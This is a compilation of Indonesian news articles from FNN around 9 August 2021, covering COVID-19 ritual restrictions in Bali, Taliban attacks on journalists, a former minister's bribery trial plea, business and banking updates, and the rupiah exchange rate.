PHDI-MDA Keluarkan SE Pembatasan Ritual Sikapi Kasus COVID-19 Tinggi

Denpasar, FNN - Parisada Hindu Dharma Indonesia Provinsi Bali bersama Majelis Desa Adat Provinsi Bali mengeluarkan Surat Edaran Bersama terkait pembatasan pelaksanaan ritual keagamaan atau upacara "panca yadnya", menyikapi masih tingginya kasus baru COVID-19 di Pulau Dewata. "Perlu dilakukan upaya pembatasan kegiatan yang berpotensi menimbulkan penularan virus varian Delta COVID-19 demi keselamatan dan kerahayuan bersama serta menyelamatkan jiwa krama (warga) Bali," kata Ketua PHDI Provinsi Bali Prof Dr I Gusti Ngurah Sudiana dalam SE tersebut di Denpasar, Senin. SE bernomor 076/PHDI-Bali/VIII/2021 dan nomor 008/SE/MDA-Prov Bali/VIII/2021 tentang Pembatasan Pelaksanaan Upacara Panca Yadnya dalam Masa Gering Agung COVID-19 di Provinsi Bali itu tertanggal 8 Agustus 2021, yang ditandatangani oleh Ketua PHDI Bali dan Ketua MDA Bali Ida Pangelingsir Agung Putra Sukahet. SE tersebut dikeluarkan dengan memperhatikan masih tinggi dan ganasnya penularan virus varian Delta COVID-19 di Provinsi Bali, yang ditandai masih tingginya kasus baru (di atas 1.000 kasus per hari-red) dan angka kematian yang cenderung meningkat (di atas 30 kasus per hari). "Melalui SE ini tujuannya untuk meningkatkan kesadaran bahwa penanganan pandemi atau gering agung COVID-19 merupakan tanggung jawab bersama dan mempercepat pemutusan mata rantai penularan virus varian Delta COVID-19," ucapnya. Pembatasan yang diatur dalam SE tersebut diantaranya untuk upacara Dewa Yadnya (piodalan) hanya "Ngaturang Piodalan Alit" dan hanya dilaksanakan oleh pamangku dan prajuru pura, dengan jumlah paling banyak 10 orang. Umat melaksanakan persembahyangan Ngayeng/Ngubeng dari sanggah/merajan masing-masing. Kemudian pamangku dan prajuru pura yang melaksanakan acara piodalan wajib mengikuti uji swab berbasis PCR/swab Antigen sehari sebelum acara dengan hasil negatif. uji swab dilaksanakan oleh puskesmas setempat dan difasilitasi oleh Satgas Gotong Royong Bersama Relawan Desa/Kelurahan. Selanjutnya ritual piodalan tidak diiringi Seni Wali/Wawalen, seperti Gamelan dan Sasolahan. Pengawasan dilaksanakan oleh pacalang, babinkamtibmas, dan babinsa. Demikian pula untuk ritual lainnya, seperti ketika ada warga Bali yang meninggal dunia agar dilaksanakan upacara Mendem/Makingsan di Pertiwi atau Makingsan di Geni. Kemudian melibatkan orang yang terkait langsung dengan pelaksanaan upacara paling banyak 15 peserta, yang menjadi pelaksana upacara wajib mengikuti uji swab berbasis PCR/swab Antigen sehari sebelum acara dengan hasil negatif. Demikian pula untuk ritual Bhuta Yadnya dan Manusa Yadnya juga dibatasi pesertanya maksimal 15 orang dan wajib sebelumnya mengikuti uji Sedangkan untuk ritual Rsi Yadnya pelaksanaannya ditunda sampai kondisi pandemi sudah dinyatakan melandai oleh pemerintah daerah. "Agar Surat Edaran ini berjalan dengan baik dan pencapaian yang maksimal maka PHDI dan MDA kabupaten/kota, kecamatan, dan desa adat bersama desa/kelurahan se-Bali agar bertanggung jawab dalam pelaksanaan Surat Edaran ini dengan melakukan sosialisasi guna membangun kesadaran kolektif warga Bali," ucapnya. Selain itu, pihaknya memohon Pangdam IX/Udayana dan Kapolda Bali beserta jajaran sampai tingkat desa/kelurahan agar ikut berperan aktif mendukung pelaksanaan Surat Edaran ini. (mth)

Taliban Diduga Bunuh Manager Radio Afghanistan dan Culik Wartawan

Kabul, FNN - Pejuang Taliban diduga membunuh seorang manajer stasiun radio Afghanistan di Kabul. Selain itu juga menculik seorang wartawan di provinsi Helmand, kata sejumlah pejabat pemerintah setempat, Senin, 9 Agustus 2021. Serangan terbaru itu menambah daftar panjang serangan Taliban yang menargetkan awak media. Orang-orang bersenjata menembak Toofan Omar, manajer stasiun radio Paktia Ghag, dan seorang pengurus NAI dalam pembunuhan yang ditargetkan di ibukota Kabul pada Ahad (8/8). NAI adalah kelompok pembela hak asasi yang mendukung media independen di Afghanistan. "Omari dibunuh oleh orang-orang bersenjata tidak dikenal. Dia adalah orang liberal. Kami menjadi sasaran karena bekerja secara independen," kata kepala NAI, Mujeeb Khelwatgar, sebagaimana dikutip dari Antara. Para pejabat di Kabul menduga para pejuang Taliban telah melakukan serangan itu. NAI pada bulan lalu melaporkan sedikitnya 30 jurnalis dan pekerja media tewas, terluka atau diculik oleh kelompok militan di Afghanistan sepanjang tahun ini. Di provinsi selatan Helmand, para pejabat mengatakan, pejuang Taliban telah menangkap seorang jurnalis lokal bernama Nematullah Hemat dari rumahnya di Lashkar Gah, ibukota provinsi tersebut. "Sama sekali tidak ada petunjuk di mana Taliban telah menculik Hemat. Kami benar-benar panik," kata Razwan Miakhel, kepala saluran TV swasta Gharghasht TV -- tempat Hemat bekerja. Seorang juru bicara Taliban mengatakan kepada Reuters, dia tidak memiliki informasi tentang pembunuhan di Kabul atau jurnalis yang diculik di Helmand. Koalisi organisasi berita Afghanistan telah menulis surat kepada Presiden Amerika Serikat Joe Biden dan para pemimpin di Dewan Perwakilan Rakyat AS untuk mendesak mereka agar memberikan visa imigrasi khusus kepada wartawan Afghanistan dan staf pendukung media. Taliban merebut tiga kota di wilayah utara Afghanistan pada akhir pekan dan mengancam akan merebut lebih banyak lagi. Taliban juga meningkatkan serangan terhadap pasukan pemerintah Afghanistan setelah Washington memutuskan untuk mengakhiri misi militer AS di negara itu pada akhir Agustus. (MD).

Didakwa Terima Suap Rp 32,482 Miliar Juliari Batubara Mohon Divonis Bebas

Jakarta, FNN - Mantan Menteri Sosial Juliari Batubara memohon agar mendapat vonis bebas dari majelis hakim. "Oleh karena itu permohonan saya, permohonan istri saya, permohonan kedua anak saya yang masih kecil-kecil serta permohonan keluarga besar saya kepada majelis hakim yang mulia, akhirilah penderitaan kami ini dengan membebaskan saya dari segala dakwaan," kata Juliari saat membacakan nota pembelaan (pleidoi) di gedung KPK Jakarta, Senin, 9 Agustus 2021. Sidang pembacaan pleidoi dilakukan menggunakan video conference. Juliari dan sebagian penasihat hukum ada di gedung KPK sedangkan Jaksa Penuntut Umum (JPU) KPK, majelis hakim dan sebagian penasihat hukum Juliari ada di Pengadilan Tipikor Jakarta. "Putusan majelis yang mulia akan teramat besar dampaknya bagi keluarga saya, terutama anak-anak saya yang masih di bawah umur dan masih sangat membutuhkan peran saya sebagai ayah mereka," ucap Juliari. Juliari meyakini, hanya majelis hakim yang dapat mengakhiri penderitaan lahir dan batin dari keluarganya yang sudah menderita. "Tidak hanya dipermalukan, tetapi juga dihujat untuk sesuatu yang mereka tidak mengerti. Badai kebencian dan hujatan akan berakhir tergantung dengan putusan dari majelis hakim," ujar Juliari. Ia pun mengaku menyesal telah menyusahkan banyak pihak akibat perkara yang menjeratnya itu. "Sebagai seorang anak yang lahir saya dibesarkan di tengah keluarga yang menjunjung tinggi integritas dan kehormatan dan tidak pernah sedikit pun saya memiliki niat atau terlintas saya untuk korupsi," kata Juliari, sebagaimana dikutip dari Antara. Juliari menyebut beberapa anggota dari keluarga besarnya pernah mengabdikan diri kepada bangsa dan negara dan tidak pernah ada satu pun yang berurusan dengan hukum. "Keluarga saya juga sejak dulu aktif di bidang pendidikan, khususnya pendidikan menengah. Keluarga saya salah satu pendiri yayasan pendidikan menengah yang sudah berusia puluhan tahun di Jakarta dan sudah menghasilkan ribuan alumni," kata Juliari. Ia pun mengaku pernah menjadi ketua yayasannya selama 5 tahun dan sebagian besar siswa yang mengenyam pendidikan di sekolah tersebut berasal dari status ekonomi menengah ke bawah. "Latar belakang itu yang membuat saya dengan penuh kesadaran menyerahkan diri ke KPK, menunjukkan sikap kooperatif saya terhadap perkara ini," ucap Juliari. Dalam surat tuntutannya, JPU KPK menyebut Juliari dinilai terbukti menerima suap Rp 32,482 miliar dari 109 perusahaan penyedia bantuan sosial sembako Covid-19 di wilayah Jabodetabek. Tujuan pemberian suap itu adalah karena Juliari menunjuk PT Pertani (Persero) dan PT Mandala Hamonangan Sude yang diwakili Harry Van Sidabukke, PT Tigapilar Agro Utama yang diwakili Ardian Iskandar serta beberapa penyedia barang lainnya menjadi pemasok dalam pengadaan bansos sembako. Uang suap itu menurut jaksa diterima dari Matheus Joko Santoso yang saat itu menjadi Pejabat Pembuat Komitmen (PPK) pengadaan bansos sembako periode April-Oktober 2020. Juga uang suap daro Adi Wahyono selaku Kabiro Umum Kemensos sekaligus PPK pengadaan bansos sembako Covid-19 periode Oktober-Desember 2020. Matheus Joko dan Adi Wahyono kemudian juga menggunakan fee tersebut untuk kegiatan operasional Juliari selaku mensos. Juga kegiatan operasional lain di Kemensos seperti pembelian ponsel, biaya tes swab, pembayaran makan dan minum, pembelian sepeda Brompton, pembayaran honor artis Cita Citata, pembayaran hewan kurban hingga penyewaan pesawat pribadi. (MD).

Arsjad Rasjid Umumkan Pengurus Kadin Periode 2021-2026

Jakarta, FNN - Sebulan setelah terpilih sebagai Ketua Umum pada Munas VIII Kamar Dagang dan Industri (Kadin) Indonesia di Kendari, Sulawesi Tenggara, Arsjad Rasjid mengumumkan formasi kepengurusan Kadin Indonesia periode 2021-2026. “Menyusun formasi yang tepat dan sempurna tentunya sangat sulit. Namun, saya berjanji ini adalah formasi yang terbaik. Seperti yang sudah saya katakan sebelumnya, Kadin Indonesia mempunyai tujuan yang jelas, kemakmuran masyarakat dan kemajuan Indonesia,” ujar Arsjad saat pengumuman susunan pengurus Kadin Indonesia 2021-2026 di Jakarta, Senin, 9 Agustus 2021 secara virtual. Menurut dia, kepengurusannya ingin mengedepankan inklusif dan kolaboratif, yakni dengan merangkul semua lapisan pengusaha baik kecil sampai besar dan juga semua sektor industri punya rumah yang sama, yakni Kadin. Selain itu, juga mengedepankan kemitraan atau kolaborasi antara Kadin dengan pemerintah, sesama pengusaha dan juga pekerja sebagai tulang punggung usaha. Sebagaimana dikutip dari Antara, struktur pengurus Kadin Indonesia di bawah kepemimpinan Arsjad hampir mirip dengan struktur kabinet pemerintahan dengan adanya Kepala Badan, Wakil Koordinator Ketua Umum dan Wakil Ketua Umum (WKU). Hal ini, menurut dia, untuk membuat komunikasi dan sinergi Kadin Indonesia dengan pemerintah semakin lebih mudah. Koordinator WKU 1 Bidang Organisasi Hukum dan Komunikasi dijabat Yukki Nugrahawan, Koordinator WKU 2 Bidang Perekonomian dijabat Franky Widjaja, Koordinator WKU 3 Bidang Maritim, Investasi dan Luar Negeri dijabat Shinta W Kamdani dan terakhir Koordinator WKU 4 Bidang Peningkatan Kualitas Manusia, Ristek dan Inovasi dijabat oleh Carmelita Hartoto. Sedangkan 12 Kepala Badan yang ada di Kadin Indonesia, yakni Kepala Badan Hubungan Penegakan Hukum dan Pertahanan Bambang Soesatyo, Kepala Badan Hubungan Legislatif Adisatrya Sulistio, Kepala Badan Analisis Informasi dan Kebijakan Ahmad Erani Yustika, Kepala Badan Logistik dan Rantai Pasok Akbar Djohan, Kepala Badan Ekonomi Syariah Taufan Rotorasiko dan Kepala Badan Pengembangan Kawasan Properti Terpadu Budiarsa. Kemudian Kepala Badan Pemberdayaan Ekonomi Kerakyatan Bambang Brodjonegoro, lalu Kepala Badan Pengembangan Keuangan Digital Pandu Sjahrir, Kepala Badan Pengembangan Ekosistem Ekonomi Digital Andre Soelistyo, Kepala Badan Kebijakan Moneter dan Jasa Keuangan Tigor M Siahaan, Kepala Badan Pengembangan Ekosistem Perfileman dan Animasi Ariful Yaqin Hidayat dan Kepala Badan Riset dan Teknologi Ilham Habibie. Sementara para Ketua Dewan Kadin Indonesia yakni Ketua Dewan Pertimbangan Anindya Bakrie, Ketua Dewan Penasihat MS Hidayat, Ketua Dewan Kehormatan Rosan Roeslani dan Ketua Dewan Usaha Chairul Tanjung. Ketua Dewan Pertimbangan Kadin Indonesia Anindya Bakrie menambahkan Kadin Indonesia akan bekerja keras membantu pemerintah melawan pandemi. Dikatakannya, formasi pengurus yang sekarang merupakan mandat dari Munas lalu yang memberi mandat agar KADIN Indonesia membantu pemerintah melawan pandemi dan memulihkan ekonomi. (MD).

Bank Syariah Indonesia Lakukan Auto Migrasi Terhadap Satu Juta Nasabah ex-BNIS

Jakarta, FNN - PT Bank Syariah Indonesia Tbk melakukan proses roll-out atau auto-migrasi rekening terhadap lebih dari 1 juta rekening nasabah ex BNI Syariah (BNIS) pada 9-10 Agustus 2021. Direktur Utama BSI, Hery Gunardi menjelaskan, proses auto migrasi bertujuan mengintegrasikan sistem tiga bank setelah merger (digabung). Sehingga nasabah bisa menikmati produk dan layanan Bank Syariah Indonesia dengan optimal. “Setelah auto migrasi dilakukan maka seluruh cabang BSI akan melakukan konsolidasi dan persiapan pada tanggal 1 November 2021 di mana seluruh sistem, standar layanan, produk, dan bisnis proses sudah menjadi satu di Bank Syariah Indonesia,” kata Hery dalam keterangannya, Senin, 9 Agustus 2021. Pada auto migrasi nasabah ex BNI Syariah kali ini, jumlah Dana Pihak Ketiga (DPK) yang akan dimigrasikan senilai Rp 16,1 triliun. Selain itu, auto migrasi juga dilakukan terhadap 66.000 rekening pembiayaan dengan nilai Rp 15,4 triliun. Tidak hanya itu. Sebanyak 3,2 juta nasabah ex BNI Syariah telah melakukan migrasi ke sistem Bank Syariah Indonesia dengan nominal mencapai Rp 30,5 triliun. Jumlah tersebut setara dengan 24 persen dari total nasabah BSI. Sebagaimana dikutip dari Antara, BSI juga akan melakukan proses migrasi seluruh produk yang berasal dari BNI Syariah dan BRI Syariah, termasuk pada produk unggulan yang dimiliki masing masing bank legacy. Skema auto-migrasi merupakan kebijakan BSI yang sengaja dibuat seiring dengan pemberlakuan PPKM di Indonesia. Nasabah tidak perlu datang ke kantor cabang BSI untuk melakukan proses migrasi rekening karena kartu ATM ex-BNIS dan ex-BRIS masih bisa digunakan. Terkait mobile banking, nasabah ex-BNIS dan ex-BRIS diharuskan memindahkan mobile banking ke BSI Mobile supaya dapat bertransaksi melalui mobile banking, karena mobile banking yang sebelumnya sudah tidak dapat digunakan. Selama proses auto-migrasi tersebut, BNI Syariah tetap dapat melakukan transaksi perbankan di ATM Bank Syariah Indonesia terdekat di seluruh Indonesia seperti biasa. Sedangkan untuk kemudahan transaksi, nasabah ex-BNI Syariah diminta agar segera mengaktifkan layanan digital BSI Mobile dengan cara men-download via Google Play Store atau App Store. Sebelumnya pada 21 Juli 2021, BSI juga telah melakukan auto migrasi nasabah BRI Syariah. Pasca peresmian pada 1 Februari 2021 lalu, BSI sebagai bank syariah terbesar di Indonesia, secara bertahap melakukan proses migrasi yang dimulai dari wilayah Regional Sulawesi dan sekitarnya. Kemudian, dilanjutkan dengan Regional Jawa Tengah, Regional Aceh, serta Regional Sumatera (Palembang, Medan, Padang dan kota lainnya). Secara berangsur-angsur, migrasi sistem telah dilaksanakan di wilayah Jakarta dan Bandung pada tanggal 5 Juli 2021. Kemudian wilayah Surabaya dan Banjarmasin pada tanggal 12 Juli 2021 untuk nasabah payroll, priority dan lainnya. (MD).

Anggota DPR: Beri Juknis Pemda untuk Penggunaan Anggaran Pandemi

Jakarta, FNN - Anggota Komisi II DPR RI Guspardi Gaus meminta Kementerian Dalam Negeri (Kemendagri) memberikan petunjuk teknis (juknis) kepada pemerintah daerah dalam penggunaan anggaran penanganan pandemi COVID-19. "Kemendagri memberikan petunjuk teknis yang jelas dalam penggunaan anggaran penanganan COVID-19. Arahan dan pendampingan perlu diberikan kepada kepala daerah secara rutin agar mampu memenuhi target-target realisasi anggaran yang telah ditetapkan," kata Guspardi dalam keterangannya di Jakarta, Senin. Dia menyarankan agar aparat penegak hukum dan lembaga audit perlu dilibatkan untuk memastikan kepala daerah menggunakan anggaran sesuai ketentuan dan perudangan yang berlaku. Guspardi menegaskan bahwa jangan memanfaatkan anggaran untuk kepentingan pribadi dan kelompok sehingga berujung pada tindakan korupsi. Dia mendorong pemda melakukan percepatan serapan belanja daerah yang dialokasikan untuk perlindungan sosial dan pemberdayaan ekonomi di daerah dalam penanganan COVID-19. Menurut dia, percepatan realisasi anggaran untuk penanganan COVID-19 harus ditingkatkan karena berdasarkan data Kemendagri, rata-rata realisasi belanja Anggaran Pendapatan dan Belanja Daerah (APBD) untuk penanganan pandemi COVID-19 masih jauh dari harapan. "Dari data Kemendagri menunjukkan, hingga 15 Juli 2021, realisasi belanja anggaran pendapatan dan belanja daerah (APBD) pemerintah provinsi baru 35,18 persen. Angka ini lebih rendah dibandingkan serapan anggaran pada 31 Juli 2020 yang mencapai 37,90 persen," kata Guspardi. Dia mengatakan memang diakui adanya kekhawatiran kepala daerah dalam mencairkan anggaran merupakan suatu hal yang dilematis. Hal itu, menurut dia, di satu sisi, anggaran itu perlu segera digunakan untuk menangani dampak pandemi namun di sisi lain berpotensi menjadi temuan Badan Pemeriksa Keuangan (BPK) sehingga berpotensi mengakibatkan masalah hukum bagi kepala daerah. "Namun yang terpenting penggunaan anggarannya harus tepat sasaran untuk penanganan pandemi COVID-19, bukan untuk kepentingan pribadi, kelompok apalagi dikorupsi. Karena itu, harus ada pengecekan dari inspektorat," ujarnya. Politisi PAN itu berharap antara pemerintah pusat dan daerah harus "seayun selangkah" atau satu pemahaman serta punya komitmen yang tinggi dalam percepatan serapan anggaran penanganan COVID-19 di daerah. Dia berharap pemda jangan ragu melakukan "refocusing" anggaran sehingga tidak ada lagi program penanganan pandemi yang terhambat. Selain itu, menurut dia, Kemendagri diminta mencari terobosan agar pemda tidak terbebani rasa khawatir yang berakibat terganggunya "refocusing" dan realisasi anggaran COVID-19. (sws)

Alibaba Diguncang Skandal Pemerkosaan Karyawati

Beijing, FNN - Raksasa e-dagang asal China Alibaba Group diguncang skandal pemerkosaan yang melibatkan kalangan karyawan perusahaan yang berkantor pusat di Hangzhou, Provinsi Zhejiang, itu. Pihak kepolisian mulai melakukan penyelidikan atas kasus pelecehan seksual dan pemerkosaan terhadap seorang karyawati Alibaba oleh karyawan seniornya selama perjalanan dinas ke luar kota, demikian media-media di China, Senin. Pihak Alibaba juga menanggapi maraknya kasus itu di media sosial China setelah korban selama melakukan perjalanan bisnis ke Jinan, Provinsi Shandong pada 27 Juli, seorang rekan kerjanya bermarga Wang bersama dengan Zhang yang bekerja di supermarket Jinan Hualian memaksa korban untuk menenggak minuman keras secara berlebihan. Kemudian Wang memerkosa korban di hotel yang saat itu dalam keadaan mabuk. Kasus itu trending di Sina Weibo, platform media sosial terpopuler di China. Tanda pagar "Alibaba" terkait berita itu dibaca 2 miliar kali selama sepekan yang lalu. CEO Alibaba Zhang Yong alias Daniel Zhang menanggapi kasus itu dengan menyatakan, "terkejut, marah, dan memalukan". Dia berjanji akan melakukan penyelidikan kasus itu secara menyeluruh. Alibaba tidak menoleransi kejahatan seksual dan akan membentuk satuan khusus untuk menyelidiki kasus itu, demikian manajemen Alibaba seperti dikutip Global Times. Pihaknya telah memberhentikan sementara pelaku pemerkosaan dan akan bekerja sama dengan pihak kepolisian. Selain Wang, ada empat karyawan lainnya juga diskors terkait penyelidikan kasus tersebut, sebagaimana diberitakan The Beijing News. Pihak supermarket Jinan Hualian juga mengumumkan pemecatan karyawannya yang mendampingi pelaku dalam kasus tersebut. Dalam dua tahun terakhir Alibaba dirundung beberapa masalah, terutama setelah kritik yang dilontarkan oleh sang pendiri perusahaan platform dagang daring tersebut, Ma Yun alias Jacka Ma, terhadap otoritas perbankan di China. Pada bulan Mei lalu, otoritas pendidikan China melikuidasi perguruan tinggi milik Alibaba, Hupan University di Hangzhou, karena dianggap melanggar regulasi pendidikan tinggi. (sws)

MAKI Yakin Gugat Puan Maharani Besok Meski Menuai Polemik

Jakarta, FNN - Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Saiman menyatakan keyakinannya atas rencana menggugat Ketua DPR RI Puan Maharani dalam perkara seleksi calon anggota Badan Pemeriksa Keuangan (BPK) ke PTUN. "Sangat yakin dan rencana (menyampaikan gugatan ke PTUN) besok Selasa (10/8)," kata Boyamin di Jakarta, Senin. Bukti berupa Surat Ketua DPR RI diyakini Boyamin bisa diajukan ke Pengadilan Tata Usaha Negara (PTUN) meskipun sempat dipertanyakan. "Banyak pendapat ahli juga yang mengatakan jangankan sudah berupa surat, format nota dinas saja bisa digugat di PTUN," ujarnya. Mengenai kedudukan hukum, dia mengatakan bahwa MAKI bersama Lembaga Pengawasan dan Pengawalan Penegakan Hukum Indonesia (LP3HI) yang juga mengajukan gugatan memenuhi persyaratan karena memiliki akta pendirian dan Surat Keterangan Terdaftar (SKT). Boyamin juga mengatakan bahwa dirinya termasuk warga negara yang mengalami kerugian apabila anggota BPK terpilih nantinya tidak memenuhi persyaratan. Selain yakin atas gugatannya itu, Boyamin mengatakan bahwa polemik yang muncul setelah rencana gugatan itu muncul justru membuatnya makin bersemangat dan bersyukur karena persoalan ini akan terus menjadi perhatian masyarakat. "Saya bersyukur gugatan ini menjadi diskusi publik dan perhatian masyarakat bahwa saat ini ada seleksi anggota BPK yang dilakukan oleh DPR," kata Boyamin. Sebelumnya, sejumlah pihak mempertanyakan rencana gugatan Boyamin kepada Ketua DPR RI Puan Maharani karena terdapat dua dari 16 calon anggota BPK yang tidak memenuhi persyaratan. Salah satunya datang dari pengamat hukum Irfan Fahmi yang menilai surat Ketua DPR sebagai dasar gugatan belum bisa menjadi objek tata usaha negara (TUN). "Surat DPR belum bisa jadi objek sengketa TUN karena belum final dan mengikat dan belum menimbulkan akibat hukum secara individual," kata Irfan pada hari Jumat (6/8). Boyamin pada hari Jumat (6/8) menyampaikan rencana MAKI menggugat Puan Maharani terkait dengan penerbitan Surat Ketua Dewan Perwakilan Rakyat (DPR) Republik Indonesia Nomor PW/09428/DPR RI/VII/2021 tanggal 15 Juli 2021 kepada pimpinan DPD RI tentang Penyampaian Nama-Nama Calon Anggota BPK RI yang berisi 16 nama. Dua dari total nama calon tersebut, yakni Nyoman Adhi Suryadnyana dan Harry Z. Soeratin, diduga tidak memenuhi persyaratan. Persyaratan sebagaimana dimaksud pada Pasal 13 Huruf j Undang-Undang Nomor 15 Tahun 2006 tentang Badan Pemeriksa Keuangan yang menyebut calon anggota BPK harus paling singkat telah 2 tahun meninggalkan jabatan sebagai pejabat di lingkungan pengelola keuangan negara. (sws)

BOR Rumah Sakit Penanganan COVID-19 di Pontianak Mendekati 53 Persen

Pontianak, FNN - Tingkat keterisian tempat tidur pasien (Bed Occupancy Rate/BOR) di rumah sakit rujukan penanganan pasien COVID-19 yang ada di Kota Pontianak, Provinsi Kalimantan Barat, mendekati 53 persen menurut data Dinas Kesehatan setempat. "Dari sebanyak 13 rumah sakit yang ada di Kota Pontianak, saat ini tercatat BOR yang menangani isolasi pasien COVID-19 sekitar 52,98 persen," kata Kepala Dinas Kesehatan Kota Pontianak Sidiq Handanu di Pontianak, Senin, merujuk pada data BOR tanggal 8 Agustus 2021. Ia menambahkan, jumlah tempat tidur untuk perawatan pasien COVID-19 yang tersedia di 13 rumah sakit di Kota Pontianak sebanyak 655 unit. "Sementara untuk tempat tidur ICU BOR-nya sebesar 91,89 persen, yakni dari yang tersedia sebanyak 37 tempat tidur, yang terisi sebanyak 34 tempat tidur," katanya. Sidiq menjelaskan bahwa jumlah total pasien COVID-19 yang dirawat di 13 rumah sakit yang ada di Pontianak sebanyak 381 orang--267 orang dari Pontianak dan 114 orang dari luar kota-- dan 14 orang di antaranya meninggal dunia. Jumlah tempat perawatan pasien COVID-19 di rumah sakit yang ada di Kota Pontianak sudah ditambah dari 334 tempat tidur menjadi 655 tempat tidur pada Juli 2021. Wali Kota Pontianak Edi Rusdi Kamtono sebelumnya mengatakan bahwa Kota Pontianak harus menjalankan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 dari 3 hingga 9 Agustus 2021 karena tingkat penularan virus corona, angka kematian akibat COVID-19, dan BOR rumah sakit rujukannya masih tergolong tinggi. (sws)

Anggota DPR: Kemenkumham Jelaskan Kebijakan 34 TKA Masuk Indonesia

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni meminta pihak imigrasi Kementerian Hukum dan HAM (Kemenkumham) menjelaskan alasan di balik kebijakan masuknya 34 tenaga kerja asing (TKA) asal Tiongkok ke Indonesia melalui Bandara Soekarno-Hatta. "Saya minta agar Menteri Hukum dan HAM maupun pihak imigrasi agar menjelaskan sejelas-jelasnya alasan di balik penerimaan para WNA. Masalahnya, selama PPKM ini masyarakat saja menangis karena kondisi pergerakan sangat sulit, ini malah menerima TKA," kata Sahroni dalam keterangannya di Jakarta, Senin. Sahroni mengingatkan Menkumham untuk terus memegang komitmen yang sebelumnya dengan tegas mengeluarkan aturan larangan masuk TKA ke Indonesia. Ia menekankan bahwa ketegasan aturan terkait WNA sangat penting karena ini terkait dengan keselamatan rakyat, khususnya pada masa pandemi COVID-19. “Saya bukan menghalangi orang mau bisnis, mau bikin apa terserah namun ini masalah keselamatan rakyat. Kondisi kita belum pulih, kita harus terus waspada," ujarnya. Wakil rakyat ini mengingatkan bahwa Indonesia kebobolan kasus COVID-19 varian delta salah satu penyebab utamanya karena kurang ketatnya mengawasi WNA India yang masuk Indonesia. Sebelumnya, Direktorat Jenderal (Ditjen) Imigrasi Kementerian Hukum dan Hak Asasi Manusia (Kemenkumham) menyebutkan 34 TKA yang masuk ke Indonesia pada hari Sabtu (7/8) sudah mengantongi dokumen izin tinggal terbatas (itas). "Selain itu, mereka juga sudah memenuhi aturan Satgas Penanganan COVID-19," kata Kepala Bagian Humas dan Umum Ditjen Imigrasi Arya Pradhana Anggakara melalui keterangan tertulis yang diterima di Jakarta, Minggu (8/8). Puluhan tenaga kerja asing asal Negeri Tirai Bambu tersebut juga telah mendapat rekomendasi untuk diizinkan masuk dari Kantor Kesehatan Pelabuhan (KKP) Kelas I Soekarno Hatta. Warga Negara Asing (WNA) asal Tiongkok tersebut mendarat di Bandara Internasional Soekarno Hatta dengan menumpang pesawat Citilink kode penerbangan QG8815 yang membawa 37 penumpang, terdiri atas 34 WNA dan tiga orang warga negara Indonesia (WNI). Selain itu, terdapat 19 awak alat angkut yang semuanya WNI. "Mereka telah lolos pemeriksaan kesehatan oleh KKP Soekarno Hatta, lalu diberi rekomendasi untuk diizinkan masuk Indonesia," ujarnya. Angga memastikan seluruh WNA asal Cina tersebut masuk dalam kategori orang asing yang diizinkan sesuai Peraturan Menteri Hukum dan Hak Asasi Manusia (Menkumham) Nomor 27 Tahun 2021. Pemerintah telah memberlakukan larangan orang asing masuk ke Indonesia selama pandemi COVID-19 dan diperluas lagi selama Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dengan terbitnya Peraturan Menkumham Nomor 27 Tahun 2021. Selama masa PPKM, pemerintah hanya mengizinkan lima kategori orang asing yang bisa masuk Indonesia yaitu pemegang visa dinas dan visa diplomatik, pemegang izin tinggal dinas dan izin tinggal diplomatik, pemegang izin tinggal terbatas dan izin tinggal tetap. Orang asing dengan tujuan kesehatan dan kemanusiaan dengan rekomendasi dari kementerian/lembaga yang menyelenggarakan fungsi penanganan COVID-19 serta awak alat angkut. (sws)

Awal Pekan Rupiah Melemah Akibat Tertekan Isu Tapering

Jakarta, FNN - Nilai tukar (kurs) rupiah yang ditransaksikan antarbank di Jakarta pada awal pekan bergerak melemah. Pelemahan itu terjadi akibat tertekan isu pengetatan stimulus atau tapering oleh bank sentral Amerika Serikat The Fed. Rupiah dibuka melemah 20 poin atau 0,14 persen ke posisi Rp 14.373 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp 14.353 per dolar AS. "Nilai tukar rupiah berpeluang bergerak melemah hari ini karena isu tapering kebijakan moneter AS kembali menguat," kata pengamat pasar uang Ariston Tjendra, di Jakarta, Senin, 9 Agustus 2021. Ariston menjelaskan, isu tapering tersebut didukung oleh data tenaga kerja AS versi pemerintah yang dirilis Jumat (6/9) malam yang lebih bagus dari prediksi sebelumnya. Menurut Ariston, selama ini The Fed mengungkapkan situasi pekerjaan yang membaik di AS akan mendukung pengetatan kebijakan moneter ke depan. Pekan lalu, Wakil Gubernur The Fed Richard Clarida memberikan indikasi proses tapering akan mulai dilakukan di akhir tahun 2021. "Selain itu, pasar masih mewaspadai kenaikan kasus Covid-19 di dunia karena varian delta. Kekhawatiran ini bisa mendorong pelaku pasar menghindari aset berisiko," ujar Ariston, sebagaimana dikutip dari Antara. Dari domestik, jumlah kasus harian Covid-19 di tanah air semakin turun. Pada Ahad (8/8), kasus baru mencapai 26.415 orang sehingga total jumlah kasus terkonfirmasi positif Covid-19 mencapai 3,66 juta orang. Namun, jumlah kasus meninggal akibat terpapar COVID-19 masih tinggi yaitu bertambah 1.498 orang sehingga total mencapai 107.096 orang. Jumlah yang dinyatakan sembuh sebanyak 3,08 juta orang. STotal kasus aktif Covid-19 mencapai 474.233 orang. Ariston mengatakan, rupiah hari ini berpotensi melemah ke kisaran Rp 14.400 per dolar AS dengan potensi support di kisaran Rp 14.270 per dolar AS. Pada Jumat (9/8), rupiah ditutup terkoreksi 30 poin atau 0,21 persen ke posisi Rp 14.343 per dolar AS dibandingkan posisi pada penutupan perdagangan sebelumnya Rp 14.3139 per dolar AS. (MD).

Kartu Vaksin untuk Masuk WC

